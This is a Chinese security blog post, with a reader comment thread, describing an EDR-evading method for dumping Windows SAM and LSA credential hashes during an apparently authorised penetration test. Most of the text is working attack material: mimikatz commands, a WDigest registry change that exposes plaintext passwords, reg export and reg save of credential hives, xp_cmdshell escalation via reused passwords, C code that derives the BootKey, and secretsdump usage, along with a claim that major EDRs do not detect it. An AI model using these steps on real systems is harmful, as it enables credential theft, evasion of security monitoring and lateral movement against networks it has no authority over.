本文首发于国家网络空间安全云社区,作者AabyssZG
本文的源代码已发布在Github,分享不易,觉得不错的师傅可以给个Star:https://github.com/AabyssZG/HashDump-BypassEDR
1# Windows认证机制
在内网渗透的过程中,凭证提取(Credential Dumping)是横向移动、提权和持久化的核心环节。
而在大型企业安全架构下,针对内网Windows主机的渗透测试与横向移动中,凭据提取的常用手法就是各种形式的Hash Dump(主要是 NTLM NT-hash,有时还包括 LM-hash、Kerberos tickets 等)。

比如当内网(外网)某台Windows服务器开放了Web服务,该Web服务存在一个高危漏洞,能够成功实现RCE任意命令执行,这时候就拿到了初步的WebShell权限。但此时你大概率只有一个服务账户(如iis apppool\defaultapppool)的权限,如何接管这台服务器上其他账户甚至拿到管理员账户的明文密码,并通过这些口令和密码对内网其他机器进行密码喷洒,就成为了实际问题。

Windows下的安全认证机制总共有两种,一种是基于NTLM的认证方式,主要用在Windows工作组环境中;另一种是基于Kerberos的认证方式,主要用在域环境中。而本文讲的内容主要针对工作组环境中,如何绕过EDR实现HashDump的手法。
首先要明确的是,Windows内部实现认证(比如输入密码登录桌面、进行RDP远程连接、连接SMB服务)是通过校验密码的Hash来实现的,类似于各种网站中将用户明文密码加密成MD5密文后再保存到数据库当中,使得攻击者即便导出所有数据也不会直接拿到明文密码,主要的流程如下图所示:

该流程图来源于文章《Windows安全认证机制之NTLM本地认证》:https://cloud.tencent.com/developer/article/2381711
但在早期的Windows系统(Windows 8.1及Windows Server 2012 R2之前的系统)进行本地认证的过程中,作为本地安全权限服务进程lsass.exe也会把用户密码缓存在内存中,这就是为啥对老系统使用mimikatz工具能直接抓到明文密码的原因。从 Windows 8.1和 Windows Server 2012 R2开始,微软引入了“受限管理员模式”(Restricted Admin mode),并默认限制了明文密码在内存中的存放。
针对Windows 8.1及Windows Server 2012 R2之后的系统,可以通过以下命令修改注册表来(需要用户重新登录后才可成功缓存)缓存明文:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f使用mimikatz尝试抓取明文密码(需要管理员权限执行):
mimikatz.exe "privilege::debug" "log C:\Users\Public\Music\mimiklsass.log" "sekurlsa::logonpasswords" "exit"2# Hash的来源
域内Windows机器和非入域Windows机器实际存放Hash的地方是有区别的,工作组Windows的密码Hash是在本地的SAM文件(C:\Windows\System32\config\sam)里面;域内Windows的密码Hash是在域控的NTDS.DIT文件(C:\Windows\NTDS\NTDS.dit)里面。而本文讲的内容主要针对工作组环境中,如何绕过EDR实现HashDump的手法。
主要 Dump Hash 的数据来源对比,如下表所示:
| 来源 | 存储位置 | 可获取内容 | 是否需要用户在线登录 | 是否包含 Kerberos Ticket | 典型场景 |
|---|---|---|---|---|---|
| SAM | HKLM\SAM 注册表 | 本地用户 NT/LM hash | 否 | 否 | 本地提权、持久化 |
| LSA Secrets | HKLM\SECURITY 注册表 | 服务账号明文、DPAPI key、部分明文密码 | 否 | 否 | 服务账号复用 |
| Cached Domain Credentials (DCC/DCC2) | 注册表 + MSCache 结构 | 域用户缓存的 NT hash(限最后 N 次登录) | 否 | 否 | 非域控工作站 |
| LSASS 进程内存 | lsass.exe 内存空间 | 当前登录用户 NT hash、明文(旧版)、Kerberos tickets、WDigest 等 | 是 | 是 | 实时抓现成域管/高价值账号 |
| NTDS.dit | 域控 %SystemRoot%\NTDS | 域内所有用户 NT hash | 否 | 否 | 域渗透终极目标 |
该表来源文章《几种 dump hash 方式对比分析》:https://tencentcloud.csdn.net/69ea9cf754b52172bc6eb7fc.html
对于常规的HashDump的手法,这里就不赘述了,感兴趣可以去搜索相应文章自行学习。
3# 初期绕过杀软实现DumpHash
在实战环境当中,往往会碰到各种杀毒软件和安防设备,针对各种DumpHash的工具和操作行为进行了阻断,而且DumpHash的恶意行为模式,与正常的行为有着天壤之别,这也使得杀毒软件识别DumpHash的操作尤为容易。很快,聪明的渗透工程师就想到了应对之策:
因为在Windows运行期间,系统会将SAM等关键文件的内容加载并挂载到注册表中,注册表相应关键位置的说明如下:
- HKLM\SAM:包含本地帐户的NT Hash值。
- HKLM\SECURITY:包含LSA密钥,包含已安装服务的明文密码(如 SQL Server 的运行账户密码)以及域信息。
- HKLM\SYSTEM:包含解密SAM数据库和LSA密钥所需的Key,里面存着Boot Key(也叫 Syskey)。
所以有不少经验老道的红队工程师,在遇到杀软软件的时候,会尝试导出注册表中的SAM等敏感数据,导回到攻击者机器本地提取出Hash:
可以参考这个网站,还提供了很多白程序利用的案例:https://lolbas-project.github.io/lolbas/Binaries/Reg/
#在目标机器上执行,导出注册表中的敏感数据
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
reg save HKLM\Security security.hive
#将sam.hive和system.hive两个文件导回本地,使用本地mimikatz工具提取Hash
lsadump::sam /sam:sam.hive /system:system.hive
lsadump::secrets /system:system.hive /security:security.hivemimikatz的两个命令的区别如下:
| 命令 | 核心目标 | 所需文件 |
|---|---|---|
lsadump::sam | 获取本地用户 NTLM 哈希 | SAM + SYSTEM |
lsadump::secrets | 获取服务密码、自动登录密码 | SECURITY + SYSTEM |
这一招起初非常有效,因为这也算是一种LOLBAS,刚开始确实屡试不爽。
什么是 LOLBAS?
- 全称:Living Off The Land Binaries and Scripts。
- 核心逻辑:利用 Windows 系统中合法的执行文件(如
certutil.exe,bitsadmin.exe,powershell.exe)来完成下载恶意软件、执行代码或绕过防护。 - 为何有效:因为这些程序带有 数字签名 且通常在安全软件的 白名单 中。
我一直在说:网络空间安全,本质上就是人与人思维之间的对抗。很快,各大杀毒软件厂商便反应了过来,马上就去拦截相关的命令,并及时阻断相应的操作。
这个操作在杀毒软件的视角下是非常容易的,因为杀毒软件往往拥有合法驱动,能够监控任意用户的一举一动,只要匹配到有命令带有save HKLM\SAM等命令行参数,就会对相应操作进行拦截(比如在卡巴斯基正常运行且许可证没过期的情况下,执行reg save HKLM\SAM SAM会显示Not Access:5),从而让攻击者无法导出SAM导致DumpHash失败。
4# 现在绕过EDR实现DumpHash
好巧不巧,最近黑暗大门内部群的一位好兄弟找到了我,让我帮忙指导一下一个有授权的目标如何进行内网渗透。
在调研的过程中,发现目标机器上有着SentinelOne(哨兵一号EDR)以及Kaspersky Next EDR(卡巴斯基EDR),这对于每一个攻击者来说都是致命的拦路虎。

这里也欢迎各位师傅使用我们的杀软识别平台:https://av.aabyss.cn/,有杀软补充或者问题欢迎提交PR。

两个强劲EDR的同时出现,让我们束手无策,多种DumpHash的免杀方案均被拦截和查杀,我们正准备放弃,决定不做DumpHash操作了。
后来,通过搜集本地的各种凭据,我们尝试连接该网站的SQL Server数据库,发现也不是管理员权限,没办法通过xpcmdshell执行系统目录,此时手法来了,通过以下SQL语句能找到该数据库的管理员:
SELECT
p.name AS [LoginName],
p.type_desc AS [LoginType],
p.is_disabled AS [IsDisabled],
p.create_date AS [CreateDate]
FROM sys.server_principals p
JOIN sys.server_role_members rm ON p.principal_id = rm.member_principal_id
JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id
WHERE r.name = 'sysadmin';结果出乎我的意料,我发现sa用户被禁用了,而下面又有几个额外的账户(由于是实战环境,不方便透露管理员ID,于是打了马赛克):

于是通过对下面两个管理员账号进行密码复用,成功拿到SQL Server数据库管理员的账号,开启了xpcmdshell,执行whoami发现不得了:

很有精神!直接是SYSTEM权限,果然还是得折腾,不折腾怎么能这么轻松的提权呢?那有了SYSTEM权限,我是不是该再考虑考虑如何DumpHash了?
在苦苦思索当中,我又把目光放回到Reg.exe这个系统白程序当中,于是我去问了Kimi大模型:“在Windows当中,reg.exe有哪几个参数,分别能做什么?”,他给我的回复如下图所示:

我在“导出/导入类”里面找到了一个选项:export-将指定的注册表项导出为.reg文件,同时还注意到一个选项:import-将.reg文件导入到注册表。
那我此时有一个大胆的想法:能否通过reg.exe export HKLM\SAM sam.reg导出SAM注册表的内容?

很有精神!那我以同样的操作,导出了SAM、SYSTEM以及SECURITY
reg.exe export HKLM\SAM C:\Users\Public\sam.reg
reg.exe export HKLM\SYSTEM C:\Users\Public\system.reg
reg.exe export HKLM\Security C:\Users\Public\security.reg但当我吧这三个.reg文件拉到本地的时候,发现mimikatz工具没办法直接使用这三个文件提取Hash,我后面研究了一下,mimikatz工具需要的是注册表里面保存的二进制核心数据,而.reg里面还有多余的表结构,二进制数据是以16进制字符串形式储存的。

那此时我就有个新的想法,既然能导出,那就能导入嘛?但是文件里面导入的路径是HKLM\SAM,我需要批量替换,导入到我本地Windows的一个注册表临时路径,再通过reg save命令把其中的二进制核心数据导出来不就好了吗?桀桀桀~
于是我又让Kimi给我写了个脚本,让它自动将.reg里面的HKLM替换为HKCU\AABYSS这个临时路径,再通过reg save这个临时路径导出核心二进制数据,再删掉注册表的这个临时路径:

完整的PowerShell脚本代码可见我的Github项目,感谢各位师傅的Star:https://github.com/AabyssZG/HashDump-BypassEDR
在本地电脑,使用本机管理员权限打开Powershell,执行以下命令:
.\RegReduction.ps1
很完美!也是成功的在目录里面看到导出的核心二进制文件:

兴高采烈的将其丢到mimikatz里面,发现居然不行??

那我是真没招了啊。。。
只好看看有没有什么别的办法,突然我想起来著名的impacket套件里面不是有个工具叫secretsdump.py,也能实现通过导出的二进制文件提取出Hash,但使用它有个核心参数是bootkey:
python secretsdump.py -sam SAM.hive -security SECURITY.hive -bootkey <目标机器的BootKey> LOCAL我记得上文提到过【HKLM\SYSTEM:包含解密SAM数据库和LSA密钥所需的Key,里面存着Boot Key(也叫 Syskey)】,我这里有导出的system.reg文件,是不是就能直接拿到BootKey了?于是我又开始问Kimi大模型,Kimi给我了答复:

因为计算BootKey需要HKLM\SYSTEM中的四个隐藏键值对才能计算,但是system.reg文件里面并不包含这四个隐藏键值对,所以没办法拿到BootKey。。。
那咋办,看看能不能写个程序导BootKey呗,都走到这一步了还能咋办呢?
既然是提取注册表的隐藏键值对,那就不能用Python或者Golang了,这两语言对于系统底层的操作简直是依托答辩,只能用C或者C++看看。

于是花了半天时间研究了一下C,再通过Kimi大模型辅助帮我优化和改Bug,道爷我终于成了!核心代码如下:
int main(void) {
const char* t[4] = {"JD", "Skew1", "GBG", "Data"};
const char* b[2] = {"SYSTEM\\CurrentControlSet\\Control\\Lsa", "SYSTEM\\ControlSet001\\Control\\Lsa"};
char s[64] = {0};
char c[256];
unsigned char d[16];
unsigned char bk[16];
int i, bi = -1;
size_t len;
for (i = 0; i < 2; i++) {
sprintf(c, "%s\\JD", b[i]);
if (get_class(HKEY_LOCAL_MACHINE, c, c, sizeof(c)) > 0) { bi = i; break; }
}
if (bi < 0) { printf("[-] You Need Admin\n"); return 1; }
printf("[+] Base: HKLM\\%s\n", b[bi]);
for (i = 0; i < 4; i++) {
int n;
sprintf(c, "%s\\%s", b[bi], t[i]);
n = get_class(HKEY_LOCAL_MACHINE, c, c, sizeof(c));
if (n <= 0) { printf("[-] Failed: %s\n", t[i]); return 1; }
if (c[n-1] == 0) n--; /* strip null */
printf("[+] %s: '%s' (length=%d)\n", t[i], c, n);
strncat(s, c, n);
}
len = strlen(s);
if (len == 30) strcat(s, "00");
else if (len == 31) strcat(s, "0");
else if (len != 32) { printf("[-] Bad length: %zu\n", len); return 1; }
printf("[+] Scrambled: %s\n", s);
for (i = 0; i < 16; i++) sscanf(s + i*2, "%2hhx", &d[i]);
/* 修复: boot_key[i] = scrambled[perm[i]] */
for (i = 0; i < 16; i++) bk[i] = d[perm[i]];
printf("[+] Boot Key: ");
for (i = 0; i < 16; i++) printf("%02x", bk[i]);
printf("\n");
return 0;
}完整的C代码可见我的Github项目,感谢各位师傅的Star:https://github.com/AabyssZG/HashDump-BypassEDR
而且我发现有个很有意思的事情,导出BootKey好像并不需要管理员权限???

于是兴致冲冲的传服务器上,我倒要看看EDR会不会查杀这个行为:

事实证明,这个操作能过EDR的识别与拦截,那拿到BootKey事情已经结束了,直接命令一把梭哈:
python secretsdump.py -sam SAM.hive -security SECURITY.hive -bootkey <目标机器的BootKey> LOCAL结果很显然我成功了,成功实现了DumpHash:

5# 关于权限的测试
本文有几个关键操作,在本次渗透测试结束后,我想看看这种操作的适用性怎么样,在目标机器上的核心步骤就两个:
- 使用
reg.exe export命令导出关键注册表内容; - 使用
BootKey.exe导出系统的BootKey。
对于不同系统我也进行了测试,结果如下:
- 在实际测试中,在Win10和Win11环境上使用
reg.exe export命令导出注册表需要SYSTEM权限,而在Windows Server 2022(因为没2025的环境,懒得测了)及以下环境使用reg.exe export命令导出注册表只需要普通管理员权限即可(并不需要SYSTEM权限),如果使用reg.exe export命令导出注册表后文件只有1KB大小,那就说明权限不够。 - 在实际测试中,使用
BootKey.exe提取程序导出BootKey是不需要管理员权限的,而且实测大部分杀软(目前遇到的杀软都不会)都不会查杀。
6# 总结
本文简略的梳理了Windows DumpHash的流程,并通过系统白程序Reg.exe的拓展应用,巧妙的绕过了杀软的拦截点,实现了绕过EDR从而DumpHash的目的,同时根据实际测试,该方法针对Windows系列系统具有有效性,操作难度不大,具有实战价值。
如果有更好的思路以及方法,或者里面有可以优化的步骤,欢迎师傅们找我交流哈哈。
本文的源代码已发布在Github,分享不易,觉得不错的师傅可以给个Star:https://github.com/AabyssZG/HashDump-BypassEDR
我勒个豆,我的眼睛~~看屏幕看太久了。。。我非常需要一个长假!!!还有就是,Kimi打钱,广告费给我结一下谢谢~
也感谢黑暗大门内部群的群友,能给予我这次宝贵的攻防机会,让我又Get到一个新的技能点!
师傅,技术研究和学术研究一样,发表文章都要提高查重能力啊。哪怕有时候是你原创的,只有前人研究过了,一般都要引用或者稍微提下前人的研究。
这个技术两年前都有了:
https://sensepost.com/blog/2024/dumping-lsa-secrets-a-story-about-task-decorrelation/
但别误会我的意思,我没恶意。这可能是大模型的原因吧,毕竟这玩意无论是工程技术科学还是音乐艺术方面,都是版权侵略大师,还是不要太依赖为好,多用搜索引擎做下交叉对比。
欢迎邮箱交流讨论: hackertxk@163.com
1、感谢师傅提交的评论,的确这个姿势在国内的文章中并没有找到,且我自己是独立摸索出这一块的内容,在这一点上,我可以确认我是原创的思路
2、再者,我在海外的一些论坛和博客也没有找到这篇文章,没找到又如何提到所谓“引用或者稍微提下前人的研究”,这是一个悖论
3、我确实使用了大模型,但我主要通过它给我生成指定的代码,包括本文的两个步骤,都是我给大模型具体的指示从而实现的,我仔细查找了本文大模型提供的代码段,与互联网上公开的代码段并没有相似的地方,何谈“版权侵略”,至于其他领域我并不清楚
4、我看了一下海外这篇文章,确实思路是同样的,但这篇文章中的SAM导出是在注册表管理器里面使用右键菜单实现的,这一点是错误的:在较新的系统比如Win10和Win11以及Server 2025,实测是无法通过这种方式对注册表的SAM元数据导出为.reg文件的(内容为空),Server 2022在某些版本下也无法实现,而且实战过程中你都能打开注册表管理器了,说明你是在console了,那都已经不需要DumpHash了,无实战价值,而我这篇文章在这个步骤是完整的而且可复现的,我也将几个核心步骤所需的权限做了梳理
好的,那就是我没认真阅读。
起初,我只是认为你是参考了那篇文章,然后只是做出了一点自己的改进,因为你的文章和那篇文章的影子太像了,比如使用poweshell的步骤,还有最后使用c语言提取bootkey而不需要高权限的步骤。
纯属巧合。
是我以小人之心度君子之腹了,抱歉。
我也在想着,哨兵一号按理来说都是排名靠前的EDR,都两年过去了,还没把这种方式标记,不知道crowdstrike和MDE标记了没有,这两个EDR我是认为比哨兵一号和卡巴斯基更先进的。
如果也没标记,说明相比lsass,lsa和sam注册表对横向移动来说价值不是那么高。因为lsass是标记的非常严格的,更新非常快。
CrowdStrike我们这边拿有效环境测试过了,MDE我不确定自己的环境是否正常,但一样是不拦截不告警的
至于为什么目前没有被标记,因为前面这篇文章24年就出了所以我也有点奇怪,但我想了想这个操作的实现前提在于高权限,我觉得他们侧重点更像去拦截提权这种操作,从而杜绝从注册表导出SAM,有点傲慢的感觉,以及大部分实战对抗还在lsass这一块,但这个方法有效并且致命
你说人家没实战价值,只能说你太武断了,没仔细阅读那个文章。人家用注册表管理器导出sam,只是做了个简单demo。
实际上导出也可能用的命令行reg export。他没具体展示,可能认为是不重要。
可以根据系统环境实际情况用图形界面还是命令行。
命令行和图形界面用export导出原理是一样的
你可能没认真看我的回复:在较新系统下,通过注册表管理器图形化界面,即便有管理员权限,还是导不出SAM的内容的,不信你可以拿一台Win10或者Win11的机器用注册表管理器去试一下,内容是空的只有1KB大小,所以我说这种方式并没有实战价值,导出原理一样但是无效,内容都没有如何去save呢?
都说了导出原理一样,可以根据实际系统环境选择用命令行还是图形界面。
而且如果都实现图形界面访问了了,打开命令行也很方便啊。
这一步没必要特别强调。
并不是如此,在Win10/Win11/Server2025等系统下,不管你是注册表管理器还是命令行,给予管理员权限并不能导出注册表内的SAM,必须提权至SYSTEM权限才行,Server 2022我试了一下好像也是如此,这是实际路径上所要面对的事情,和原理不原理已经没关系了。。。
海外那篇文章并没有提到这个事情,我不清楚是不是作者刻意隐瞒,但从严谨的角度来看,你按照作者的步骤完全一步一步来复现,绝对是成功不了的,那这个不算是错误或者疏漏吗?
而且都已经图形界面访问了,相当于已经RDP或者console了,都已经进来了那我要凭据干啥,那我没凭据咋进console看到图形化界面的?满足这个条件就完全不需要DumpHash了,对于实战场景就是扯淡,所以我说没有实战价值。
一般来讲提取这两个注册表尽量用最高权限。大家都明白。那个哥们省略了可能是假定读者都知道。不一定非按照原文一字不差, 而且不加思索作者表达的意思就能复现的文章才算好的技术文章吧。
我不明白你为什么一直纠结人家的文章是否能复现,原理讲明白了已经足够好了。
哪个环境能复现不能复现,这应该是复现的人应该关心的。
还有,如果你已经实现rdp访问了,用处是dump其他hash来进行横向移动啊。那个哥们的目的很明确,dumphash,来进行横向移动到另一台机器。如果是横向移动,肯定dump的不是当下登录会话用户hash。也就是dump其他账户的hash
而且,没凭据也可以有很多办法进入rdp,
比如rdp会话劫持上一个主机移动到当下的主机。
比如kerberos的约束委派和RBCD,这种技术可以修改spn,其中rdp服务为TERMSRV+HOST。
肯定还有很多无凭据登录rdp的技术。
只是你的文章没表达清楚你用hash做什么,你只是文章刚开始说明了dumphash的作用主要有横向移动,提权,持久化这三个用处,但你的文章最后并没有展示成功dumphash具体的用处。
请你解释下这为什么是扯淡?
我也不清楚你所定义的实战场景具体指什么场景,难道你的实战场景不包括横向移动吗?
首先,我们很明确,老外那篇文章提到的步骤是不是通过注册表管理器去导出SAM的.reg文件?
但我在评论区里面明确指出这个步骤是错误的,是在实战当中无法实现的,实际导出的.reg文件内容为空,这一步没毛病对吧?
用老外文章的这个步骤,就按你评论来说实现了rdp访问,即使在实际图形化的界面中,是不是一样也没办法通过注册表管理器成功完整导出.reg,那hash怎么来呢,凭空变出来吗。。假设我是读者,我怎么知道要SYSTEM权限,这文章告诉我用注册表管理器导就行了啊,那我说这一步对于DumpHash的目的来说是扯淡的,难道不对吗?
可能我表达上不怎么好,给你一些不好的观感,但我想说这个步骤本身就不对或者有疏漏,所以说他没有实战价值,但不代表思路是错的啊,确实思路很好具有学术价值啊,但实战价值我是没看到。
我一句一句回答你:
"首先,我们很明确,老外那篇文章提到的步骤是不是通过注册表管理器去导出SAM的.reg文件?"
你确实强调了
"但我在评论区里面明确指出这个步骤是错误的,是在实战当中无法实现的,实际导出的.reg文件内容为空,这一步没毛病对吧?"
这一步没毛病。但可能那哥们当时的系统环境和你不同,这两年间微软不知道都更新了多少次系统了。 而且那哥们用图形界面导出sam只是一个demo, 他实际也可能是命令行导出的。
其实这里不重要,他表达的意思就是可以先导出为.reg文件。哪种导出办法不重要。就算再实战中,我作为普通读者,如果作者没有写详细,我也会稍稍研究一下有那种方法可以导出,这种方法不行就试另外一种。
“用老外文章的这个步骤,就按你评论来说实现了rdp访问,即使在实际图形化的界面中,是不是一样也没办法通过注册表管理器成功完整导出.reg,那hash怎么来呢,凭空变出来吗”
即使图形界面没有导入成功,我作为一个普通读者也知道可能图形界面有问题,可以命令行试试看。
“假设我是读者,我怎么知道要SYSTEM权限,这文章告诉我用注册表管理器导就行了啊,那我说这一步对于DumpHash的目的来说是扯淡的,难道不对吗?”
只要有一定技术经验,一般都知道导出这两个注册表需要要高权限。哪怕不知道,也会在命令行中根据报错信息或者自己研究一步步确实,直到确定必须使用高权限。这种类型调试实战中是常有的事。
“所以说他没有实战价值,但不代表思路是错的啊,确实思路很好具有学术价值啊,但实战价值我是没看到。”
你说没有实战价值,那他是怎样成功绕过EDR并且dumphash的?
学术价值就有点扯远了。
你可以把技术文章理解为一个菜谱,普通的厨师会照搬硬套,而优秀的厨师会深刻理解作者的想法,懂得调试,深刻理解上下文,甚至进一步创造!
备注: 真的不想回复了,有缘江湖见喝茶讨论技术吧。
此致
敬礼
all the best
而且我也没有说,仅凭管理员权限就可以在任何系统导出hash啊,我不明白你具体的争论点在哪里。
你是要特别强调你和那哥们的文章不同吗?
好的,这一点我认可。
我一开始也只是说了你的文章和那哥们的影子很像,导出hash的总体思路是一样的。
我不明白你为什么要一直强调这些细节的不同。
别人给你文章提点意见或者表达不同观点你就急了。
难道你只喜欢一些人不停在你评论区阿谀奉承,大佬大佬叫你就满意了。
要是这样的话,我和你的技术理念不同,各自安好。
我没有和你争论,我一直在列举例子在冷静回答问题啊,可能我们对于“实战价值”的理解有所不同。
我非常感谢各位师傅给我提的不同观点,但有些观点我不予苟同我就大胆说出来,如果按照你说的“别人给你文章提点意见或者表达不同观点你就急了。”,那我只会在我的博客后台把你的评论统统删掉或者不予审核通过,不是吗?
我只是觉得,老外那篇文章和我的文章核心思路是一致的,但在核心步骤的实现上,并不完整不完善,甚至可能有所隐瞒,在实战过程中去实践一定会出现问题,所以我说没有实战价值,但我也没全盘否定说他的这篇文章就是狗屎之类的啊,经此而已,我也不知道该如何表达了。。
补充一点,最后那个导出bootkey需不需要管理员以上权限其实对整个利用链影响不大,因为你导出sam和lsa是必须使用管理员以上权限的。
其实SAM还有一些手法,可以不需要管理员权限就能导出,只是这些方法就留作后手不方便写文章里面
所以我文章里面很关心bootKey的权限需求,两点原因:1、因为BootKey我目前没有别的手法可以拿到 2、我惊讶于这个关键的Key居然不需要管理员权限即可读取